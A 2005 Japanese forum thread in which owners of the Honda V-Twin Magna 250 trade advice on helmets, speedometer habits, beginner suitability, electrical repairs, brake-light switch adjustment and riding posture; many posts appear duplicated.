夏はイージーライダーズのダックテイルあたりにして、
寒くなってきたらフルフェイスにしようかと思ってます。
マグナがシルバーなんでアライのGP-5X 白か、
昭栄Z-4 白あたりを考えてるんだけど、
使ったことある人とかいたら感想とかあればお願いします。
納車待ち遠しくて最近寝不足だよ・・
>>879
＞よほど初心者じゃないかぎり、乗り慣れたバイクで自分がどれくらいで
＞走ってるかわからんほうが問題だと思うけどね
おまいさんは自分の腕を過信しすぎ
かといって機械であるバイクのメーターを過信するのもいかんけど、
いくら乗り慣れたものであっても少しは速度ぐらい確認しれ
漏れはどんな状況でも臨機応変にメーター（タコや警告灯なども）を見ることができる癖付けてる奴のほうが
ライディングも上手いと思う
この速度なら理論的に車間距離これぐらいあければ他人を巻き込む大きな事故は起きないだろうとか、
早いペースで流れてるけど自分の腕ならこのカーブは流れを乱さない程度にこの速度まで落としたほうが安全だろうとか、
さっきまで高速走ってたけど、下道は錯覚で法定＋α以上は速度出しすぎないようにしようとか、
そういう意味でもメーターの確認は大事だと思う
公道は常におまいさんの感覚が基準で流れてるわけではないよ
＞よほど初心者じゃないかぎり、乗り慣れたバイクで自分がどれくらいで
＞走ってるかわからんほうが問題だと思うけどね
おまいさんは自分の腕を過信しすぎ
かといって機械であるバイクのメーターを過信するのもいかんけど、
いくら乗り慣れたものであっても少しは速度ぐらい確認しれ
漏れはどんな状況でも臨機応変にメーター（タコや警告灯なども）を見ることができる癖付けてる奴のほうが
ライディングも上手いと思う
この速度なら理論的に車間距離これぐらいあければ他人を巻き込む大きな事故は起きないだろうとか、
早いペースで流れてるけど自分の腕ならこのカーブは流れを乱さない程度にこの速度まで落としたほうが安全だろうとか、
さっきまで高速走ってたけど、下道は錯覚で法定＋α以上は速度出しすぎないようにしようとか、
そういう意味でもメーターの確認は大事だと思う
公道は常におまいさんの感覚が基準で流れてるわけではないよ
885 ： ：2005/07/10(日) 01:10:47 ID:fRDhHs8l
>883
黒の方がいいと思うけどなぁ。
できればつや消し。
黒の方がいいと思うけどなぁ。
できればつや消し。
>>884
しつこい お前らだけで他でやってろ
しつこい お前らだけで他でやってろ
普通の感覚は>>884であってると思うよ。
>>877>>879は後付け感が否めない。
マグナ初期から乗って地球３周くらいしたとかならまだわかるが。
とりあえず、世間的にはＤＱＮに準じる行為だと思われるんで気をつけれ。
>>877>>879は後付け感が否めない。
マグナ初期から乗って地球３周くらいしたとかならまだわかるが。
とりあえず、世間的にはＤＱＮに準じる行為だと思われるんで気をつけれ。
889 ：７７４ＲＲ：2005/07/10(日) 13:18:27 ID:Qp63UjfW
>>888
それはありえない
俺はほとんど確認しないとは言ったけど、全く見ないとは言ってない
なのに
＞いくら乗り慣れたものであっても少しは速度ぐらい確認しれ
などと言う、全く確認してないかのような（おそらくは不利になって無理やりでってあげ）
発言をする事自体おかしい
また、頻度を書けと言われても書こうとしない事からも、はたしてどれくらいの
頻度で見てるのが安全なのかわからないからだろう
レプリカなぞ乗ってる時には速度計は見ないが、計器類は結構見る
だが、鈍足アメリカンでふつーに走ってる範囲で、速度計を見る必要性は
ほとんどない！
ましてや、一般道ならなおさらだ
１時間に２～３回だな、とりあえず４万乗ってるが、5000キロも走ったときには
もう体感でわかるようになってるものだ
これは極めて個人的誤差があるので参考程度としてほしいが、
自分の好みのエンジンの鼓動で走ると、65ｋｍくらいになるからそれだけでも
一般道をだらだら走るぶんにはそこ使えばいいだけだから何の問題もない
それはありえない
俺はほとんど確認しないとは言ったけど、全く見ないとは言ってない
なのに
＞いくら乗り慣れたものであっても少しは速度ぐらい確認しれ
などと言う、全く確認してないかのような（おそらくは不利になって無理やりでってあげ）
発言をする事自体おかしい
また、頻度を書けと言われても書こうとしない事からも、はたしてどれくらいの
頻度で見てるのが安全なのかわからないからだろう
レプリカなぞ乗ってる時には速度計は見ないが、計器類は結構見る
だが、鈍足アメリカンでふつーに走ってる範囲で、速度計を見る必要性は
ほとんどない！
ましてや、一般道ならなおさらだ
１時間に２～３回だな、とりあえず４万乗ってるが、5000キロも走ったときには
もう体感でわかるようになってるものだ
これは極めて個人的誤差があるので参考程度としてほしいが、
自分の好みのエンジンの鼓動で走ると、65ｋｍくらいになるからそれだけでも
一般道をだらだら走るぶんにはそこ使えばいいだけだから何の問題もない
ふーん、意外と走ってないな。
ありえない、か。何が？ひとまず、もまいがどう思おうと世間の意識は変わらんよ。
１時間に２～３回か、殆どしてないとは言えない頻度だな。
この中途半端な回数でどういう時に見るのか知りたいものだな。
まぁ、もまいがＤＱＮ的な奴ではないとわかった。
とりあえず、>>884と同じく過信は良くないとだけ言っておくぞ。漏れは以上。
ありえない、か。何が？ひとまず、もまいがどう思おうと世間の意識は変わらんよ。
１時間に２～３回か、殆どしてないとは言えない頻度だな。
この中途半端な回数でどういう時に見るのか知りたいものだな。
まぁ、もまいがＤＱＮ的な奴ではないとわかった。
とりあえず、>>884と同じく過信は良くないとだけ言っておくぞ。漏れは以上。
891 ：７７４ＲＲ：2005/07/10(日) 14:23:16 ID:Nu+zol3s
口論したいのなら、誤字脱字は厳禁だぞ！wwwwwwwwwwww
わかったから他でやれ
893 ：７７４ＲＲ：2005/07/10(日) 23:59:51 ID:k9Rm3ovJ
むしろもっとやれ どうせ世間じゃ弾かれてるようなﾔｼしかこんなとこで議論しねーし
894 ：７７４ＲＲ：2005/07/11(月) 00:10:43 ID:L+a346uN
まだ免許も取ってない素人なんだけど
magna250って初めてのバイクでも大丈夫かな…？
なんか見た目が一番バイクっぽくてかっこよかったからこれにしようと言うのが理由なんだけど
住めば都みたいな感じで、乗れば都になるんでしょうか？
magna250って初めてのバイクでも大丈夫かな…？
なんか見た目が一番バイクっぽくてかっこよかったからこれにしようと言うのが理由なんだけど
住めば都みたいな感じで、乗れば都になるんでしょうか？
895 ：７７４ＲＲ：2005/07/11(月) 00:20:33 ID:qBzXWdyh
最初に乗ってよし。
>>894大丈夫。高校生の女でさえ乗ってますから(*´ -`)ｙ-。ｏＯ
マグナは誰でも乗りやすいよー。
俺は１８０ｃｍだけど普通に心地いいし、このマグナ譲ってくれたのは身長１５０ｃｍの女性だったよ。
一つ言っておきたいのは車体が長めの作りだから、カーブは基本的にハンドルを使わずに体重で曲がるように意識しといたほうがいいよ。
はいｊめてのバイクには使いやすいと思っています。自分もはじめてがマグナでいｓたヽ(ﾟ◇ﾟ)ノ
俺は１８０ｃｍだけど普通に心地いいし、このマグナ譲ってくれたのは身長１５０ｃｍの女性だったよ。
一つ言っておきたいのは車体が長めの作りだから、カーブは基本的にハンドルを使わずに体重で曲がるように意識しといたほうがいいよ。
はいｊめてのバイクには使いやすいと思っています。自分もはじめてがマグナでいｓたヽ(ﾟ◇ﾟ)ノ
ああ、もう一ついうなら、スリ抜けは厳しいですね。
もちろんあればできるんですが、スリ抜け大好きな友人とツーリングにいったりすると、
友人が抜けられるスキマを抜けられない（ミラーがあたる）場合があるので、決して無理にスリ抜け仕様としないようにね。
アメリカンは何気に幅あるからヘタするとカスるかも。
もちろんあればできるんですが、スリ抜け大好きな友人とツーリングにいったりすると、
友人が抜けられるスキマを抜けられない（ミラーがあたる）場合があるので、決して無理にスリ抜け仕様としないようにね。
アメリカンは何気に幅あるからヘタするとカスるかも。
900 ：７７４ＲＲ：2005/07/11(月) 02:24:17 ID:0ut4siXH
この前首都高の渋滞でミラーをカン！って２回もやってしまいました・・・
901 ：７７４ＲＲ：2005/07/11(月) 03:02:44 ID:5Cf9qCNt
>>890
以外と走ってないというからにはさらに走ってるわけかな？
それでもまだ体得できない無能者か
しかも未だに、自分はどれくらい見てるか書かないんだな（いざとなればどこかで調べて書くだろうけど）
自分では具体的なことかかないで、とにかく文句言うことに専念するのが目的かな？
実はまだ免許なくって、どれくらい見るものかすらわからないだけかも
そして決定的に、全然バイクの事を全然わかってませんと宣伝してしまってるのが
＞１時間に２～３回か、殆どしてないとは言えない頻度だな。
だな
具体的な理由を書いてしまうと、この１行の意味が
「少ないとは言えない」ではなく「あまりに少なすぎる」だといういみだとか
言い出すから、今回はかかない
結局は、自分の出来ないことが簡単にできてしまう人がねたましいだけって所かな
以外と走ってないというからにはさらに走ってるわけかな？
それでもまだ体得できない無能者か
しかも未だに、自分はどれくらい見てるか書かないんだな（いざとなればどこかで調べて書くだろうけど）
自分では具体的なことかかないで、とにかく文句言うことに専念するのが目的かな？
実はまだ免許なくって、どれくらい見るものかすらわからないだけかも
そして決定的に、全然バイクの事を全然わかってませんと宣伝してしまってるのが
＞１時間に２～３回か、殆どしてないとは言えない頻度だな。
だな
具体的な理由を書いてしまうと、この１行の意味が
「少ないとは言えない」ではなく「あまりに少なすぎる」だといういみだとか
言い出すから、今回はかかない
結局は、自分の出来ないことが簡単にできてしまう人がねたましいだけって所かな
書いてる奴違うから
はいはい、すごいねボク。
はいはい、すごいねボク。
903 ：７７４ＲＲ：2005/07/11(月) 11:33:45 ID:D5iT3T61
>>902
(*´ -`)つ「IDｶﾜﾙﾖ」
(*´ -`)つ「IDｶﾜﾙﾖ」
意味がわからん。はい、このネタ終わり。
マグナ納車ｷﾀｰｰ!
しばらくﾆﾔﾆﾔしながら眺めてますた。
メットは黒のZ-4だけ日曜に買ってきたんで、
夏用にDAMMTRAXのジェッペルを品定めちう。
ジェッペル＝オッサンのイメージあったんだけど、
最近のはカッコいいのもいっぱいあるんですな。
アドバイスありがとう ・・ってか流されやすいなワシ
しばらくﾆﾔﾆﾔしながら眺めてますた。
メットは黒のZ-4だけ日曜に買ってきたんで、
夏用にDAMMTRAXのジェッペルを品定めちう。
ジェッペル＝オッサンのイメージあったんだけど、
最近のはカッコいいのもいっぱいあるんですな。
アドバイスありがとう ・・ってか流されやすいなワシ
907 ：７７４ＲＲ：2005/07/11(月) 18:01:58 ID:5Cf9qCNt
ジェッペルかっこいい。
909 ：７７４ＲＲ：2005/07/11(月) 21:08:57 ID:RkO0uUVW
ジェッペル・・・・カコイイがシールドは取れよ！www
ゴーグルもするなよ！www
グラサンオンリー！！
ゴーグルもするなよ！www
グラサンオンリー！！
白ジェットに、グラサンかけてるんだけど、
友達に「白バイみたい」と言われたよ・・
黒ヘルにすれば良かったorz
友達に「白バイみたい」と言われたよ・・
黒ヘルにすれば良かったorz
>>905
((((;゜д゜)))
((((;゜д゜)))
>>905俺の高校の女友達が乗ってるって事なんでつが… ウホッ
ネジまわして、回転数上げてみたんだけど・・
やっぱり朝はチョーク引かないとエンジンがかからないorz
新車だから？まだ慣らしが終えてないから？
とりあえずバイク屋持って行ってみようかな・・・
やっぱり朝はチョーク引かないとエンジンがかからないorz
新車だから？まだ慣らしが終えてないから？
とりあえずバイク屋持って行ってみようかな・・・
馴らし終わる前は大抵かかりにくいよ
915 ：７７４ＲＲ：2005/07/12(火) 08:08:39 ID:upH+b8bK
チョーク引いてかけりゃいいじゃん・・・
とりせつでも、エンジンが冷えてるときはちょくひけとなってるだろ？
寒いときではなく・・・
とりせつでも、エンジンが冷えてるときはちょくひけとなってるだろ？
寒いときではなく・・・
あぁぁぁぁ、また先走っちゃった…
とりあえず、有言実行で。
918 ：７７４ＲＲ：2005/07/12(火) 19:27:40 ID:0jdi8O9z
マグナって後輪にロック通せないじゃないですか
前足にスケボーでも噛まされたらすぐ盗られそうで怖い
前足にスケボーでも噛まされたらすぐ盗られそうで怖い
>>906
メット購入オメ。
Z-4の黒、かっこいいなぁ。
ttp://www.e-seed.co.jp/p/030307001/
>>917
男なら、一度言い出したことは最後まで責任を持ってください(ｗ
メット購入オメ。
Z-4の黒、かっこいいなぁ。
ttp://www.e-seed.co.jp/p/030307001/
>>917
男なら、一度言い出したことは最後まで責任を持ってください(ｗ
だれか新スレよろ
922 ：７７４ＲＲ：2005/07/12(火) 23:25:35 ID:K6eB4vYn
マグナの荷掛けフックっていくらぐらいで売ってるの？
923 ：７７４ＲＲ：2005/07/13(水) 09:14:32 ID:G9UAzGvw
マルチですがマグナにＡＢＳはつきませんか？？
924 ：７７４ＲＲ：2005/07/13(水) 13:00:56 ID:UET0YsHB
汎用ＡＢＳならつかなくもないけど、おすすめいたしません
【水冷】V-TWIN MAGNA(マグナ250)【アメ】
926 ： ：2005/07/13(水) 23:06:59 ID:hSNaXAXB
どこかの個人サイトでこのバイク（というかアメリカン）は
走りませんって書いてあったんだけど、
アメリカンって別にスピード求める乗り物じゃないからいいんだよね。
ゆったりしてればさ。
走りませんって書いてあったんだけど、
アメリカンって別にスピード求める乗り物じゃないからいいんだよね。
ゆったりしてればさ。
しかし往々にして乗り手は求めるのだ、バイク乗り始めてからひと月も経てば多分調子に乗り始める。
おい、おまいら
漏れのマグナが入院しましたよ
やたらバッテリーあがるから去年の秋にチェックして貰ったら
レギュレーター逝ってますので交換つ
とその年に積み替えたバッテリー廃棄で新品にして修理
今度はレギュレーターが逝ってまつと修理
ここ数年でバッテリーをいくつ買わされてやっと診断ついたことやら(´･ω･`)
漏れのマグナは乾電池仕様なのかとマジで思ってますた
漏れのマグナが入院しましたよ
やたらバッテリーあがるから去年の秋にチェックして貰ったら
レギュレーター逝ってますので交換つ
とその年に積み替えたバッテリー廃棄で新品にして修理
今度はレギュレーターが逝ってまつと修理
ここ数年でバッテリーをいくつ買わされてやっと診断ついたことやら(´･ω･`)
漏れのマグナは乾電池仕様なのかとマジで思ってますた
バッテリーは、使い方によっては即効オシャカるから使い方見直しよろ
>>924
MFバッテリーは完全放電しても専用の充電機で充電できるみたいでつね
なのに毎回買わされてた漏れは(´･ω･`)
あげくに、故障は店で直してから一分後に起きるかも知れないから電装系チェックしたからって家は知りませんよ
とか言われ、まぁ正論なんだがすげー気分悪いわけでつよヽ(｀Д´)ノ
とどめには引き取りに来てもらった時、今回これ直しても年式が年式だからすぐ別の場所が逝きまつよっとか言われて
何とも複雑な心境でつ
ちなみに電装系カスタムはテールとウインカーとライト変えてあるだけでつ
全部一応マグナ対応品
ショックでうだうだ書いてしまった
ｽﾏｿ
MFバッテリーは完全放電しても専用の充電機で充電できるみたいでつね
なのに毎回買わされてた漏れは(´･ω･`)
あげくに、故障は店で直してから一分後に起きるかも知れないから電装系チェックしたからって家は知りませんよ
とか言われ、まぁ正論なんだがすげー気分悪いわけでつよヽ(｀Д´)ノ
とどめには引き取りに来てもらった時、今回これ直しても年式が年式だからすぐ別の場所が逝きまつよっとか言われて
何とも複雑な心境でつ
ちなみに電装系カスタムはテールとウインカーとライト変えてあるだけでつ
全部一応マグナ対応品
ショックでうだうだ書いてしまった
ｽﾏｿ
932 ：７７４ＲＲ：2005/07/16(土) 18:54:52 ID:U1vEtAj6
リヤブレーキシューを交換する予定なんですが、
ブレーキハウジングの中の可動部のグリスアップは
マルチパーパスグリスで大丈夫でしょうか？
どなたかご存知の方よろしくお願いします。
ブレーキハウジングの中の可動部のグリスアップは
マルチパーパスグリスで大丈夫でしょうか？
どなたかご存知の方よろしくお願いします。
933 ：７７４ＲＲ：2005/07/16(土) 19:31:33 ID:1MYaBAd2
>>930
何年物よ？
何年物よ？
>>933
初期型でつ
これからどんどん壊れて行くから買い替えた方がっていわれますた(´･ω･`)
確かに年式はたってるけど皆さんのマグはそんなにぶっ壊れだしてまつか？
バイク屋のことばにかなり不安覚えてまつ…
7～8年付き合ってるから出来るならまだ乗りたいのでつ
一昨年キャブOH、フロントフォークシールオイル交換とか色々したんでつが、電装は今回でレギュレーターとジェネレーター交換でなんとかなりそうでつが…
初期型でつ
これからどんどん壊れて行くから買い替えた方がっていわれますた(´･ω･`)
確かに年式はたってるけど皆さんのマグはそんなにぶっ壊れだしてまつか？
バイク屋のことばにかなり不安覚えてまつ…
7～8年付き合ってるから出来るならまだ乗りたいのでつ
一昨年キャブOH、フロントフォークシールオイル交換とか色々したんでつが、電装は今回でレギュレーターとジェネレーター交換でなんとかなりそうでつが…
935 ：７７４ＲＲ：2005/07/16(土) 22:25:10 ID:1MYaBAd2
毎年５万くらいは修繕にかけるつもりで乗り続けるのも、ひとつの楽しみ方
ま、メーカー的にはそれくらい使えればＯＫって部分はあるしね
ま、メーカー的にはそれくらい使えればＯＫって部分はあるしね
94年製のマグナ乗っていますけど
今のところ不具合は無いですね。
オイル交換とプラグ交換それにラジエター液の交換しているだけで
バッテリーもまだ切れたこと無いし
まだまだ現役で走ってくれそうですよ
今のところ不具合は無いですね。
オイル交換とプラグ交換それにラジエター液の交換しているだけで
バッテリーもまだ切れたこと無いし
まだまだ現役で走ってくれそうですよ
俺も94年式で10年乗ってるけど、全く壊れる気配はないよ。
オイルは去年の8月以来交換してないし、プラグは10年変えてないし
ラジエータ液も去年初めて交換して、ブレーキオイルも未だ1度も
していません。バッテリーは5回上がりましたが充電して今でも
使ってます。いい加減な扱いでも、問題ないです。
>>936
エンジンOHは元々VT系エンジンなのでよほどでない限りは必要ないよ。
知人の20万Km走ったVTでもOHしていません。
オイルは去年の8月以来交換してないし、プラグは10年変えてないし
ラジエータ液も去年初めて交換して、ブレーキオイルも未だ1度も
していません。バッテリーは5回上がりましたが充電して今でも
使ってます。いい加減な扱いでも、問題ないです。
>>936
エンジンOHは元々VT系エンジンなのでよほどでない限りは必要ないよ。
知人の20万Km走ったVTでもOHしていません。
漏れ店の椰子にのせられてるのかな(´･ω･`)
みなさんの話きいてる限りマグは丈夫そうでつね
修理出した時にテールの配線はめ忘れるような店だからメカニックにも難ありなのかな
マグが元気に帰ってくる事祈るしか無いでつね
今エンジンの横っぱら開けられてまつ
少し不安な日々
みなさんの話きいてる限りマグは丈夫そうでつね
修理出した時にテールの配線はめ忘れるような店だからメカニックにも難ありなのかな
マグが元気に帰ってくる事祈るしか無いでつね
今エンジンの横っぱら開けられてまつ
少し不安な日々
連投ｽﾏｿ
宅配ピザマシーン御用達って店どうなんでしょうか？
ｽﾚ違い全開ですみませんでつ
その店、数年ででっかい店数店舗にいきなり変身したから少し気になったもんで
もしやばそうなら元プライベートレーサーとメカニックさんがやってる店が近所にあって、良くしてもらってるので店変えます
マグ大丈夫かな、エンジンの中の螺旋止め忘れとか無いかな(汗)
テールのはーねす以来少し信用してないんでつ(´･ω･`)
でも買った店だから…
ｽﾚ違いとうだうだすみませんでした
もしこれに関してもアドバイスいただけたら幸い
世界で一番の漏れのマグ(皆さんも自分のが一番w)
ため息もんっすよマジで
宅配ピザマシーン御用達って店どうなんでしょうか？
ｽﾚ違い全開ですみませんでつ
その店、数年ででっかい店数店舗にいきなり変身したから少し気になったもんで
もしやばそうなら元プライベートレーサーとメカニックさんがやってる店が近所にあって、良くしてもらってるので店変えます
マグ大丈夫かな、エンジンの中の螺旋止め忘れとか無いかな(汗)
テールのはーねす以来少し信用してないんでつ(´･ω･`)
でも買った店だから…
ｽﾚ違いとうだうだすみませんでした
もしこれに関してもアドバイスいただけたら幸い
世界で一番の漏れのマグ(皆さんも自分のが一番w)
ため息もんっすよマジで
942 ：７７４ＲＲ：2005/07/18(月) 15:30:55 ID:1yVVO/LU
ヤバイ。クマヤバイ。まじでヤバイよ、マジヤバイ。
クマヤバイ。
まず強い。もう強いなんてもんじゃない。超強い。
広いとかっても
「プロボクサー20人ぶんくらい？」
とか、もう、そういうレベルじゃない。
何しろクマ。スゲェ！なんか人間じゃないの。人間とか霊長類とかを超越してる。クマだし超強い。
しかも猟友会に狙われてるらしい。ヤバイよ、猟友会だよ。
だって普通は猟友会に狙われないじゃん。だって自分の部屋の廊下に猟友会がいるとか困るじゃん。散弾銃で狙われてるとか困るっしょ。
猟友会に待ち伏せされてて、一年のときは1人だったのに、三年のときは100人とか泣くっしょ。
だから普通は狙われない。話のわかるヤツだ。
けどクマはヤバイ。そんなの気にしない。狙われまくり。人間普通に襲いまくり。ヤバすぎ。
強いっていったけど、もしかしたら弱いかもしんない。でも弱いって事にすると
「じゃあ、クマに襲われた人たちってナニよ？」
って事になるし、それは誰もわからない。ヤバイ。誰にも分からないなんて凄すぎる。
あと超でかい。体長2.0～3.0ｍ。体重400～650kg。ヤバイ。でかすぎ。抵抗する暇もなく死ぬ。怖い。
それに超人気。AAとかぬいぐるみとか平気で出てくる。ぬいぐるみて。厨房でも持ってねぇよ、最近。
なんつってもクマは馬力が凄い。冬眠とか平気だし。
うちらなんて冬眠とかたかだか寒い日に２～３日引きこもったり、ニートになってみたり、それが原因で家からつまみ出されたりするのに、
クマは全然平気。冬眠を冬眠のまま扱ってる。凄い。ヤバイ。
とにかく貴様ら、クマのヤバさをもっと知るべきだと思います。
そんなヤバイクマを繁殖させているツキノワグマ管理チームとか超偉い。もっとがんばれ。超がんばれ。
クマヤバイ。
まず強い。もう強いなんてもんじゃない。超強い。
広いとかっても
「プロボクサー20人ぶんくらい？」
とか、もう、そういうレベルじゃない。
何しろクマ。スゲェ！なんか人間じゃないの。人間とか霊長類とかを超越してる。クマだし超強い。
しかも猟友会に狙われてるらしい。ヤバイよ、猟友会だよ。
だって普通は猟友会に狙われないじゃん。だって自分の部屋の廊下に猟友会がいるとか困るじゃん。散弾銃で狙われてるとか困るっしょ。
猟友会に待ち伏せされてて、一年のときは1人だったのに、三年のときは100人とか泣くっしょ。
だから普通は狙われない。話のわかるヤツだ。
けどクマはヤバイ。そんなの気にしない。狙われまくり。人間普通に襲いまくり。ヤバすぎ。
強いっていったけど、もしかしたら弱いかもしんない。でも弱いって事にすると
「じゃあ、クマに襲われた人たちってナニよ？」
って事になるし、それは誰もわからない。ヤバイ。誰にも分からないなんて凄すぎる。
あと超でかい。体長2.0～3.0ｍ。体重400～650kg。ヤバイ。でかすぎ。抵抗する暇もなく死ぬ。怖い。
それに超人気。AAとかぬいぐるみとか平気で出てくる。ぬいぐるみて。厨房でも持ってねぇよ、最近。
なんつってもクマは馬力が凄い。冬眠とか平気だし。
うちらなんて冬眠とかたかだか寒い日に２～３日引きこもったり、ニートになってみたり、それが原因で家からつまみ出されたりするのに、
クマは全然平気。冬眠を冬眠のまま扱ってる。凄い。ヤバイ。
とにかく貴様ら、クマのヤバさをもっと知るべきだと思います。
そんなヤバイクマを繁殖させているツキノワグマ管理チームとか超偉い。もっとがんばれ。超がんばれ。
943 ：７７４ＲＲ：2005/07/18(月) 21:58:21 ID:/ctxw2W9
最近のバイク糊の憧れは、キリンぢゃなくてクマなのね・・
マグナ＋エスカルゴフェンダー、前輪長いの ８万でげとー
実はフィフティというオチ
ブレーキペダルに触っただけでブレーキランプがついてしまうので
ランプのつくタイミングを遅らせたいのですがどこいじったらいいんすか？？
ランプのつくタイミングを遅らせたいのですがどこいじったらいいんすか？？
>>946
HONDAのホームページから取り扱い説明書ダウンロード出来るよ～
HONDAのホームページから取り扱い説明書ダウンロード出来るよ～
取り扱い説明書に書いて無い・・・
NAPS行ったついでに修理の人に聞いてみたんだが見つからないとのこと。
なにやらカバーの下に隠れてるっぽいっす。
だれかサイドカバーのしたの三角形のカバー開けたことあるひといませんか？
NAPS行ったついでに修理の人に聞いてみたんだが見つからないとのこと。
なにやらカバーの下に隠れてるっぽいっす。
だれかサイドカバーのしたの三角形のカバー開けたことあるひといませんか？
現行のマグナに対応してる社外品のマフラーって全然無いのね・・・
みんな、マフラー何付けてる？やっぱ純正？
みんな、マフラー何付けてる？やっぱ純正？
952 ：７７４ＲＲ：2005/07/20(水) 00:12:36 ID:4duBVEZQ
購入後まだ300ｋｍしか走ってないアメリカン初心者なんですが
２時間３時間休みなしで走りっぱなしと言うのを普通にできる程度の体力は
あるのですが、このバイクの場合ステップの位置関係でコーナーで半ケツ移動とかも
ないですし、特に直線ばっかりだとステップの上に立ったりとかできないで
座りっぱなしでケツがいたくなるんです、腰もだけれど
何が悪いのでしょうか？
あわせて、フォワードコントロールと言うのはステップを手前に持ってくる
ような調整も可能なんでしょうか？
２時間３時間休みなしで走りっぱなしと言うのを普通にできる程度の体力は
あるのですが、このバイクの場合ステップの位置関係でコーナーで半ケツ移動とかも
ないですし、特に直線ばっかりだとステップの上に立ったりとかできないで
座りっぱなしでケツがいたくなるんです、腰もだけれど
何が悪いのでしょうか？
あわせて、フォワードコントロールと言うのはステップを手前に持ってくる
ような調整も可能なんでしょうか？
気持ちダルそうに座ってみましょう。それがアメリカンの標準スタイルです。
>>950
右カバーじゃなくて位置的には右リアショックの裏ね
黒いスパークプラグみたいな形した物が付いてるはず
その下の細い針金バネが引っ張られるとスイッチが入る仕組み
その黒いスイッチ本体の中ほど辺りのギザギザの付いた部分を回すと
スイッチ本体自体が上下して可動範囲が変わる仕組みただ、調節時の注意点はスイッチ本体が移動するために完全にフレームに固定されてないので、
回す部分以外は手で押さえながら回すこと
でないと、スイッチにつながる配線がねじれてダメージを受ける
あと同じ内容で>>802も俺が書いたので参考にどうぞ
>>952
それはまだ乗り慣れてないからだと思う
しばらくすれば自分の楽なポジションや乗り方が完成されていくはず
たくさん乗ってあげてくれい
ま、無理せず休憩を取ることも悪いことではないし、のんびりいこうぜ
速さを求めるバイクでないしさ
右カバーじゃなくて位置的には右リアショックの裏ね
黒いスパークプラグみたいな形した物が付いてるはず
その下の細い針金バネが引っ張られるとスイッチが入る仕組み
その黒いスイッチ本体の中ほど辺りのギザギザの付いた部分を回すと
スイッチ本体自体が上下して可動範囲が変わる仕組みただ、調節時の注意点はスイッチ本体が移動するために完全にフレームに固定されてないので、
回す部分以外は手で押さえながら回すこと
でないと、スイッチにつながる配線がねじれてダメージを受ける
あと同じ内容で>>802も俺が書いたので参考にどうぞ
>>952
それはまだ乗り慣れてないからだと思う
しばらくすれば自分の楽なポジションや乗り方が完成されていくはず
たくさん乗ってあげてくれい
ま、無理せず休憩を取ることも悪いことではないし、のんびりいこうぜ
速さを求めるバイクでないしさ
955 ：７７４ＲＲ：2005/07/20(水) 11:39:27 ID:AY2d/9ES
>951
俺はジャンクで\15000でかったバズーカマフラーつけてるぞ！
まぁ半分無理矢理だがな！
俺はジャンクで\15000でかったバズーカマフラーつけてるぞ！
まぁ半分無理矢理だがな！
>>952
コーナーリングで半ケツ移動なんかしない。
倒すのは逆ハンドル入力が楽ちん。
右に曲がるときは軽く右ハンドルを押す感じ。
スタンディングは無理ですね。タンデムステップに立てば何とかなるかな。
腰が痛いのは骨盤が後傾してるとなりやすいです。
背中を丸めずに乗ると良いです。
コーナーリングで半ケツ移動なんかしない。
倒すのは逆ハンドル入力が楽ちん。
右に曲がるときは軽く右ハンドルを押す感じ。
スタンディングは無理ですね。タンデムステップに立てば何とかなるかな。
腰が痛いのは骨盤が後傾してるとなりやすいです。
背中を丸めずに乗ると良いです。
>>952
微妙に立つ事もできるし、無理矢理半ケツ移動も漏れはするよ。
だって暇なんだもん。先日も300キロを走行中何度かした。
オススメはタンデムステップ立ち。ケツが無防備になる諸刃の剣。
まぁ、はたから見りゃＤＱＮ1確なんで誰もいない時にでも。
微妙に立つ事もできるし、無理矢理半ケツ移動も漏れはするよ。
だって暇なんだもん。先日も300キロを走行中何度かした。
オススメはタンデムステップ立ち。ケツが無防備になる諸刃の剣。
まぁ、はたから見りゃＤＱＮ1確なんで誰もいない時にでも。
ローダウンしてたら体重移動で曲がるの必須になるからケツずらすのは良くするよ
リーンインて言う不細工な曲がり方になる訳だが…
ノーマルなら前記の人の曲がり方で行けるな
漏れのでやったら逝ける
取り敢えず考えるより慣れろだな
慣れたらステップに普通に立てる
タンクに座ったりも出来るしな、もう珍走ﾚﾍﾞﾙだがなw
リーンインて言う不細工な曲がり方になる訳だが…
ノーマルなら前記の人の曲がり方で行けるな
漏れのでやったら逝ける
取り敢えず考えるより慣れろだな
慣れたらステップに普通に立てる
タンクに座ったりも出来るしな、もう珍走ﾚﾍﾞﾙだがなw
>>960
ステップに軽く立ってそのままガス入れるとこの手前にストンと座るww
さらにニケツ用のステップ出しておいてそれに足のせてみるとか
退屈で色々やってみたwww
もちろん自爆しても周りに車やらバイク居ないところ
シートが社外ガンファイターだから背もたれに尻あててみたり
漏れは変態ライダーでつか？
でも言えることはやっぱ慣れだよな
慣れたら変な話バイクの上に立てるしw
曲乗りの世界だな…orz
ステップに軽く立ってそのままガス入れるとこの手前にストンと座るww
さらにニケツ用のステップ出しておいてそれに足のせてみるとか
退屈で色々やってみたwww
もちろん自爆しても周りに車やらバイク居ないところ
シートが社外ガンファイターだから背もたれに尻あててみたり
漏れは変態ライダーでつか？
でも言えることはやっぱ慣れだよな
慣れたら変な話バイクの上に立てるしw
曲乗りの世界だな…orz
962 ：７７４ＲＲ：2005/07/20(水) 23:39:51 ID:b/g0LLRH
マグナにはめれるタイヤって種類が少ないね
>>962
種類なんて必要ないでわ・・・
種類なんて必要ないでわ・・・
タンク、いつものシート、タンデムシートで３ケツ(ry
だれかマグナの画
うpしてくれませんか？
うpしてくれませんか？
>>966
俺はまだ買ったばっかでﾘｱﾌｪﾝﾀﾞｰとシートしか替えてないけど・・・
ちなみにﾌｪﾝﾀﾞｰとシートの隙間にあるのはウエストポーチです
つttp://upup2.com/1up/src/up6489.jpg
ほとんどノーマルで参考になりませんがどうぞー
俺はまだ買ったばっかでﾘｱﾌｪﾝﾀﾞｰとシートしか替えてないけど・・・
ちなみにﾌｪﾝﾀﾞｰとシートの隙間にあるのはウエストポーチです
つttp://upup2.com/1up/src/up6489.jpg
ほとんどノーマルで参考になりませんがどうぞー
969 ：７７４ＲＲ：2005/07/23(土) 22:36:05 ID:CeSVChJr
うほ
970 ：７７４ＲＲ：2005/07/23(土) 23:36:17 ID:arJHBmJL
972 ：７７４ＲＲ：2005/07/24(日) 04:23:19 ID:E3YMKP8r
>>971
ほんと、シートからリアフェンダーにかけて激しくカコイイね。
ほんと、シートからリアフェンダーにかけて激しくカコイイね。
975 ：７７４ＲＲ：2005/07/24(日) 10:33:36 ID:oMUcdJGK
V-TWIN MAGNAは常にかっこいい
漏れがどんな服を着ても似合うのと一緒だな
>>968
ﾌﾗﾌｪﾝにしてるならｳｲﾝｶｰ早く変えたほうが良い希ガス
タンクも小振りなのが良いかと
